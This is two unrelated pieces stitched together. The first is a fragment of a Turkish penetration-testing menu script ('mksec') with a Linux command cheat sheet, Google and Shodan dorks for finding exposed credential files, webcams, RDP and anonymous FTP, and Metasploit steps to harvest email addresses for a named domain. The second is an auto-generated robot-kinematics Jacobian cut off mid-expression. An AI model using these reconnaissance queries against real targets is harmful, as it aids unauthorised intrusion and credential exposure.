repeat the last command\nexit –> log out\x1b[37m") elif uinput == "2" or uinput == "02": print("\x1b[1m\x1b[33mDosya Komutları\x1b[37m\n\x1b[33m===============\x1b[37m\n\nls –> dizini listele\nls -al –> dizini gizli dosyalarla birlikte listele\ncd [dizin] –> dizini değiştir\ncd –> ev dizinine git\npwd –> o anda bulunulan dizini görüntüle\nmkdir [dizin] –> yeni bir dizin oluştur\nrm [dosya] –> dosya sil\nrm -r [dizin] –> dizin sil\nrm -f [dosya] –> dosya'yı silmeye zorla\nrm -rf [dizin] –> dizini silmeye zorla\ncp [dizin1] [dizin2] –> dizin1 'i, dizin2 'ye kopyala\ncp -r [dizin1] [dizin2] –> dizin1'i, dizin2'ye kopyala; eğer dizin2 yoksa oluştur\nmv [dosya1] [dosya2] –> dosya1 'i dosya2 'ye yeniden adlandır veya taşı. eğer, dosya2 varsa, dosya1 içeriğini dosya2 içine taşı\nln -s [dosya] [link] –> dosya veya link'e semnoliklink oluştur\ntouch [dosya] –> dosya'yı oluştur veya güncelle\ncat > [dosya] –> dosya'ya standart girdi oluştur\nmore [dosya] –> dosya'nın içeriğini görüntüle\nhead [dosya] –> dosya'nın ilk 10 satırını göster\ntail [dosya] –> dosya'nın son 10 satırını göster\ntail -f [dosya] –> dosya'nın son 10 satırını ve tümünü göster\n\x1b[33mSistem Bilgisi\n\x1b[33m==============\x1b[37m\ndate –> şu anki tarih ve saati göster\ncal –> bu ayın takvimini göster\nuptime –> şu anki hizmet süresini göster\nw –> kimin online olduğunu göster\nwhoami –> oturum açan kişiyi göster\nfinger [kullanıcı] –> kullanıcı hakkında bilgi\nuname -a –> kernel bilgisini göster\ncat /proc/cpuinfo –> cpu bilgisi\ncat /proc/meminfo –> hafıza bilgisi\nman [komut] –> komut için manueli göster\ndf –> disk kullanımı göster\ndu –> dizinlerin boyut kullanımı göster\nfree –> hafıza ve swap kullanımı göster\nwhereis [uygulama] –> uygulama muhtemel yeri\nwhich [uygulama] –> varsayılan olarak hangi uygulama dizinlerinin çalıştığını göster\n\x1b[33mİşlem Yönetimi\n==============\x1b[37m\nps –> etkin işlemleri göster\ntop –> tüm işlemleri göster\nkill [pid] –> pid başlıklı işlemi sonlandır\nkillall proc –> proc * başlıklı tüm işlemleri bitir\nbg –> durdurulmuş veya arkada süren görevleri listeler; arkada durdurulmuş bir görevi kaldığı yerden sürdürür\nfg –> en güncel görevi ortaya koyar\nfg [n] –> n adlı görevi öne getirir\n\x1b[33mSıkıştırma\n==========\x1b[37m\ntar cf [dosya.tar] [dosyalar] –> dizindeki dosyaları içeren dosya.tar adında bir dosya oluştur.\ntar xf [dosya.tar] –> dosya.tar dosyasındakileri çıkar\ntar czf [dosya.tar.gz] [dosyalar] –> Gzip ile bir tar dosyası oluştur\ntar xzf [dosyalar.tar.gz] – Gzip ile dizin çıkar\ntar cjf [dosya.tar.bz2] –> Bzip2 ile bir tar dosyası hazırla\ntar xjf [dosya.tar.bz2] –> Bzip2 ile dizin çıkar\ngzip [dosya] –> dosya sıkıştır ve dosya.gz olarak yeniden adlandır\ngzip -d [dosya.gz] –> dosya.gz'yi dosya olarak geri çıkar\n\x1b[33mAğ\n==\x1b[37m\nping [host] –> host'a ping at ve sonucu göster\nwhois [domain] –> domain için whois bilgisi\ndig [domain] –> domain için DNS bilgisi\ndig -x [host] –> host çözümünü ters çevir\nwget [dosya] –> dosya indir\nwget -c [dosya] –> durdurulmuş indirmeye devam\n\x1b[33mDosya İzinleri\n==============\x1b[37m\nchmod [kod] [dosya] –> dosya izinlerini değiştir. bu izinler farklı kategorilere göre değişir (kullanıcı, grup ve herkes gibi):\n• 4 = okuma (r) \n• 2 = yazma (w)\n• 1 = çalıştırma (x)\nörnekler:\nchmod 777 –> herkes için oku, yaz, çalıştır\nchmod 755 –> rwx sahibi için, rx grup ve herkes için.\ndaha fazlası için: man chmod\n\x1b[33mKurulum\n=======\x1b[37m\nKaynaktan kurulum:\n./configure\nmake\nmake install\ndpkg -i [pkg.deb] –> paket kurulumu (Debian)\nrpm -Uvh [pkg.rpm] – paket kurulumu (RPM)\n\x1b[33mSSH\n===\x1b[37m\nssh [kullanıcı@host] –> kullanıcı olarak sunucuya bağlan\nssh -p port [user@host] –> kullanıcı olarak port üzerinden sunucuya bağlan\nssh-copy-id [user@host] –> kullanıcı için anahtarı ekleyin ve anahtarla ve şifresiz olarak oturum açın\n\x1b[33mArama\n=====\x1b[37m\ngrep [pattern] [dosyalar] –> dosyalarda kalıp arayın\ngrep -r [pattern] [dir] –> dizin içinde kalıbı tekrarlayarak arayın\n[komut] | grep [pattern] –> komut çıktısında kalıp arayın\nlocate [dosya] –> dosya'nın tüm örneklerini arayın\n\x1b[33mKısayollar\n==========\x1b[37m\nCtrl+C –> şu anki komutu durdurur\nCtrl+Z –> şu anki komutu durdurur, önde fg ile veya arkada bg ile komut işlemini kaldığı yerden sürdürür\nCtrl+D –> exit gibi oturumu kapatır\nCtrl+W –> satırdaki bir kelimeyi siler\nCtrl+U –> tüm satırı siler\nCtrl+R –> son komutu öne getir\nCtrl+P –> son komutu göster\n!! -> son komutu tekrar et\nexit –> oturumdan çık\x1b[37m\n") UserInputs(uinput+"lin") def informationGatheringMore(): os.system("clear") print("\x1b[1m\x1b[33mMore about Information Gathering\x1b[37m\n\x1b[32m'archive.org'\x1b[37m sitesinden, hedef sitenin gecmis ekran goruntulerini inceleyebilirsiniz.\n\n\x1b[32mwhois\x1b[37m: domainin bilgilerini icerir. domainin kayit ve suresinin bitis tarihi, host edildigi firmanin name server bilgileri de yer alir.\n\x1b[36mex: whois microsoft.com\x1b[37m\n\n\x1b[32mbing:\x1b[37m ip addr aramasi yaparak subdomain bulmak. \x1b[36mex:\x1b[37m site:168.148.56.21\n\n\x1b[32mping:\x1b[37m ping atarak ip adresini ogrenebilirsiniz \x1b[36mex:\x1b[37m google.com\n\n\x1b[32mgoogle dorks\x1b[37m\n\x1b[32m============\x1b[37m\n\x1b[37m\x1b[36msite:\x1b[37mmertkaragoz.com\n\x1b[36mfiletype:\x1b[37mpdf\n\x1b[36minurl:\x1b[37madmin\n\x1b[36mintitle:\x1b[37mlinux nedir\n\x1b[36mintext:\x1b[37mlinux isletim sistemidir\n\x1b[36mcache:\x1b[37mmertkaragoz.com\n\x1b[33mex:\x1b[37m intitle:webcam 7 inurl:8080 -intext:8080\n\x1b[33mex:\x1b[37m xls 'username | password' site:.com\n\n\x1b[32mshodan dorks\x1b[37m\n\x1b[32m============\x1b[37m\n\x1b[36mproduct:\x1b[37mngnix\n\x1b[36mcity:\x1b[37mistanbul\n\x1b[36mcountry:\x1b[37mTR\n\x1b[36mport:\x1b[37m3389\n\x1b[36mhostname:\x1b[37mgoogle.com\n\x1b[36mnet\x1b[37m:178.156.32.48\n\x1b[36mos:\x1b[37mlinux\n\x1b[32mex:\x1b[37m product:cisco country:TR\n\x1b[32mex:\x1b[37m product:nginx city:dallas country:US port:8080 os:linux\n\x1b[32mex:\x1b[37m country:TR port:3389\n\x1b[32mex:\x1b[37m country:TR port:21 'anonymous user logged in'\n\x1b[32mex:\x1b[37m country:TR port:1434\n\x1b[32mex:\x1b[37m Cisco 200 OK\n\n\x1b[36mmsfconsole\x1b[37m ile e-mail bilgileri toplamak icin konsola sirasiyla yaziniz\n\x1b[33m1)\x1b[37m msfconsole\n\x1b[33m2)\x1b[37m use auxiliary/gather/search_email_collector\n\x1b[33m3)\x1b[37m show options\n\x1b[33m4)\x1b[37m set DOMAIN nasa.gov\n\x1b[33m5)\x1b[37m run\x1b[37m\n") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[information_gathering_more]\033[37m\x1b[0m ") UserInputs(uinput+"information") def about(): print("""\x1b[1m\x1b[36m©Copyright 2021 mksec\n\n\x1b[0mversion: 1.08\x1b[37m\x1b[1m\n\n\x1b[33mWritten by:\x1b[37m Mert Karagoz (generatorexit) @generatorexit\n\n\x1b[31mDISCLAIMER:\x1b[37m This is *only* for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.\nplease read the license under readme/license for the licensing of mksec.\n\n\x1b[33m[mksec Tutorial]\x1b[37m\nFor a full document on how to use mksec, [Visit the mksec user manual] (https://github.com/generatorexit/mksec/raw/master/readme/user_manual.pdf)\n\n\x1b[33m[Features]\x1b[37m\nmksec, linux icin hazirlanmis acik kaynakli bir sizma testi aracidir. mksec, sizma testi araclarini daha hizli bir sekilde kullanmanizi saglar.\nMert Karagoz tarafindan hazirlanan araclari da icerisinde bulundurur. hicbir sirketin, firmanin or hacker grubunun urunu degildir.\n\n\x1b[33m[Bugs and Enhancements]\x1b[37m\nFor bug reports or enhancements, please open an [issue]\n(https://github.com/generatorexit/mksec/issues) here.\n\n\x1b[33m[Supported Platforms]\x1b[37m\nKali Linux\n\n\x1b[33m[Install mksec]\x1b[37m\nkurulum yazilacak\n\n\x1b[33m[mksec Development Team]\x1b[37m\n@generatorexit\n\n\x1b[33m[Former Developers of mksec]\x1b[37m\n@generatorexit\n\nSpecial thanks to the following person who has contributed to mksec:\n@nidagonder\n\x1b[37m""") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[about]\033[37m\x1b[0m ") UserInputs(uinput+"mainmenu") def help(): print("""\x1b[1m\x1b[36mCore Commands\x1b[37m\n\x1b[36m=============\x1b[37m\n\n\x1b[33mCommand\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===========\x1b[37m\n? Help menu\nhelp Help menu\nclear Clears the screen\nabout Shows information about "mksec"\nno banner Remove Banner\nbanner Adds banners. If there is a banner it will change it\nexit Exit the console\nquit Exit the console\n\n\x1b[36mTool Commands\x1b[37m\n\x1b[36m=============\x1b[37m\n\n\x1b[33mCommand\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===========\x1b[37m\ninfo Displays information about tool\noptions Displays global options for tool\nset Sets a context-specific variable to a value\nrun Runs the tool\nclear Clears the screen\nback Move back from the current context\nexit Exit the console\nquit Exit the console\n\x1b[37m""") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[help]\033[37m\x1b[0m ") UserInputs(uinput+"mainmenu") #mksectools def pythonCompiler(): import py_compile os.system("""echo \x1b[1m' _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ | | | python compiler | | | | .py uzantili dosyayi .pyc uzantili dosyaya cevirir | | | | 1 python compiler | | | | back go back | | | |-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-|' """) uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") if uinput == "1": os.system("echo 'ex: /root/Desktop/mksec.py'") userfile = input("\x1b[1m\033[36m[mksec]\033[36m[file.location]\033[37m\x1b[0m ") py_compile.compile(userfile) elif uinput == "back": os.system("clear") mksectools() else: os.system("clear") pythonCompiler() MainMenu() except KeyboardInterrupt: print("\x1b[1mUse the 'exit' command to quit.") NoBanner()

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ba97e8b89e03e002ce5ef8254e5e6db82e790541

139,433

py

Python

o/soft_robot/derivation_of_kinematics/derived/python_src/J_1.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

o/soft_robot/derivation_of_kinematics/derived/python_src/J_1.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

o/soft_robot/derivation_of_kinematics/derived/python_src/J_1.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

import numpy def f(q, xi): return numpy.array([[-99887.2123151958*(2*q[0, 0] - q[1, 0] - q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 5073636.18108931*(2*q[0, 0] - q[1, 0] - q[2, 0])*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 160351958.315909*(2*q[0, 0] - q[1, 0] - q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + (2*q[0, 0] - q[1, 0] - q[2, 0])*(2106.99588477366*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) - 160351958.315909*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (2106.99588477366*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 320703916.631818*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 10147272.3621786*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 199774.424630392*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (2106.99588477366*q[0, 0] + 2106.99588477366*q[1, 0] + 2106.99588477366*q[2, 0] + 948.148148148148)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((2*q[0, 0] - q[1, 0] - q[2, 0])*(25283.9506172839*q[0, 0] - 12641.975308642*q[1, 0] - 12641.975308642*q[2, 0]) - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 30441817.0865359*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 9621117498.95455*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 243534536.692287*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 3595939.64334705*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 25283.9506172839*q[0, 0]**2 - 25283.9506172839*q[0, 0]*q[1, 0] - 25283.9506172839*q[0, 0]*q[2, 0] + 25283.9506172839*q[1, 0]**2 - 25283.9506172839*q[1, 0]*q[2, 0] + 25283.9506172839*q[2, 0]**2 - 53.3333333333333) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-102625253322.182*q[0, 0] + 51312626661.0909*q[1, 0] + 51312626661.0909*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + (-63927815.8817253*q[0, 0] + 31963907.9408627*q[1, 0] + 31963907.9408627*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + (674238.683127572*q[0, 0] - 337119.341563786*q[1, 0] - 337119.341563786*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (16035195.8315909*q[0, 0] - 8017597.91579545*q[1, 0] - 8017597.91579545*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 2844.44444444444*q[0, 0] + 1422.22222222222*q[1, 0] + 1422.22222222222*q[2, 0]) + (-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 25656313330.5455*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 811781788.97429*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 15981953.9704313*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 168559.670781893*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 711.111111111111*numpy.sqrt(3)*(q[1, 0] - q[2, 0])) - 17.7777777777778*q[0, 0] - 4.44444444444444*q[1, 0] - 4.44444444444444*q[2, 0] - 4.0, -160351958.315909*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 5073636.18108931*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 99887.2123151958*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-q[0, 0] + 2*q[1, 0] - q[2, 0])*(2106.99588477366*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) - 160351958.315909*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (2106.99588477366*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-1053.49794238683*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0] - 474.074074074074)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 160351958.315909*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 5073636.18108931*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 99887.2123151958*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 